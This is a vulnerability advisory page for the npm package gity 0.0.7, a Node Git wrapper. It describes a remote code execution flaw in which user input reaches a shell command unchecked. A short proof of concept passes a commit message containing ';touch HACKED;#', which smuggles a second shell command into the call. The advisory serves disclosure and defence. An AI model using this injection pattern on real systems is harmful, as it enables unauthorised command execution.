gity@0.0.7 vulnerabilities

Direct Vulnerabilities

Known vulnerabilities in the gity package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • M
Remote Code Execution (RCE)

gity is a Git wrapper for Node.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). A user input is formatted inside a command that will be executed without any check.

PoC by mik317

  • Create the following PoC file:
// poc.js
var Git = require('gity');

var git = Git()
  .add('*.js')
  .commit('-m "added js files";touch HACKED;#')
  .run();
  • Check there aren't files called HACKED
  • Execute the following commands in another terminal:
npm i gity # Install affected module
node poc.js #  Run the PoC
  • Recheck the files: now HACKED has been created

How to fix Remote Code Execution (RCE)?

There is no fixed version for gity.

*